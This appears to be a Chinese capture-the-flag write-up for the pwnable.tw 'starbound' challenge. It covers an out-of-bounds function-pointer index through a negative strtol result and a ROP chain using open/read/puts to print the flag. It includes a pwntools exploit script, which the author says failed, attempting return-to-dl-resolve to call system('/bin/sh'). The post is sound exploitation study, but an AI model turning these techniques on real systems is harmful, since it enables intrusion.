• 【pwnable.tw】 starbound


    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题...

     整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数。

    函数的漏洞主要在main函数中,main函数中使用了strtol函数将用户输入转换为字符串,并根据此转换结果,对子函数进行访问。

    当用户输入过大或过小时,会导致越界访问的问题,其中,strtol函数的返回值可能为负数。

     bss段中,用户输入的名称最开始是随机生成的,但用户可以更改。而此字段在函数指针数组上面,也就是说,用户可以通过控制名称的方式获得一次指令执行的机会

    再查看一下安全保护机制

    可以使用ROP的方式来利用漏洞。由于main函数中用户可以输入0x100长的字符给v5,因此,v5可作为ROP的存放位置,在name中找到一个gadget使得EIP跳转到位于栈上v5字段内即可。

    由于此题没有附带libc,也没找到可以泄露地址的漏洞,因此在ROP中使用了在plt区域有的open、read、puts函数来打印flag,其中从dalao那里get的知识点是,read函数的第一个参数是一个int类型的值,

    用于标识文件身份,其中0 : stdin、1:stdout、2:stderr,本题内没有打开未关闭的文件,因此read(3,&buf,0x10)完全可以读出flag。

    另外,恰巧在最近接触到了return to dl-resolve的原理:http://www.freebuf.com/articles/system/149214.html

     此题恰巧也符合使用该技术的先决条件,但貌似ld.so做了保护,没有成功,在网上没有找到相关的保护手段,通过调试发现ld.so以偏移量获取了程序.gnu.version的内容,进一步运算,但我构造的偏移量过大,

    导致运算超出了可读写的范围,造成程序崩溃。暂未找到其他方法,此坑以后再填。

     暂存未成功的return-to-dl-resolve代码:

    from pwn import *
    debug = 1
    context(arch='i386',os='linux',endian='little')
    context.log_level='debug' 
    elf = ELF('./starbound')
    if debug:
        p=process('./starbound')
        file = '~/Desktop/pwn/tw/starbound/flag'
    
    else:
        p=remote('chall.pwnable.tw',10202)
    file = '/home/starbound/flag'
    file = '/bin/sh' + ''*(len(file)-len('/bin/sh'))
    gadget = 0x08048e48
    bss_function = 0x08058150
    bss_name = 0x080580D0
    
    shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 
    print '[*] shellcode len ',len(shellcode)
    print '[*] ',hex(bss_name + len(shellcode) - 0x80481dc)
    shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12) 
    distance3 = bss_name + len(shellcode) - 0x80484fc
    print '[*] ',hex(distance3)
    shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x000ff207) + 'a'*8 + p32(distance3)+p32(0)+p32(0)+p32(0x12) + 'systemx00'
    shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12) 
    p.recvuntil('> ')
    p.send('6')
    p.recvuntil('> ')
    p.send('2')
    p.recvuntil(': ')
    p.sendline(shellcode)
    p.recvuntil('> ')
    
    distance = (bss_name + len(file) - bss_function)/4
    #print str(distance) 
    gdb.attach(p,'b *0x0804A65D')
    distance2 = bss_name + len(file) + 4 - 0x80487c8
    cat_flag_exp = str(distance-1) + '' + 'a'*4 + p32(0x8048940) + p32(distance2) + p32(0xdeadbeef) + p32(bss_name)
    '''
    + p32(elf.symbols['open']) + p32(gadget) + p32(bss_name) 
    + p32(0)+ 'a'*(0x1c-8) + p32(elf.symbols['read']) + p32(gadget) + p32(3) + p32(bss_name+20) + p32(0x40) +'a'*(0x1c-12) + p32(elf.symbols['puts']) + p32(0xdeadbeef) + p32(bss_name+20)
    '''
    '''
    $ readelf -d starbound | grep JMPREL 
     0x00000017 (JMPREL)                     0x80487c8
    
    
    gdb-peda$ x /2x 0x80487c8+0x120
    0x80488e8:    0x0805509c    0x00002807
    
    readelf -d starbound | grep SYM 
     0x00000006 (SYMTAB)                     0x80481dc
     0x0000000b (SYMENT)                     16 (bytes)
     0x6ffffff0 (VERSYM)                     0x80486f2
    
    $ readelf -d starbound | grep STRTAB
     0x00000005 (STRTAB)                     0x80484fc
    
    '''
    
    p.sendline(cat_flag_exp)
    p.interactive()
    
    #0x08048e48 : add esp, 0x1c ; ret
  • 相关阅读:
    数据库迁移至ASM
    获取数据库或SHEME的DDL语句
    membership配置数据库(SQL2000)
    DIV+CSS到底是什么?
    如何更改表的所有者权限
    windows server 2003 上“您要访问的网页有问题,无法显示。HTTP 500 内部服务器错误。”的问题解决方案!
    瞎忙
    瞎忙
    如何更改表的所有者权限
    DIV+CSS到底是什么?
  • 原文地址:https://www.cnblogs.com/p4nda/p/7659720.html
Copyright © 2020-2023  润新知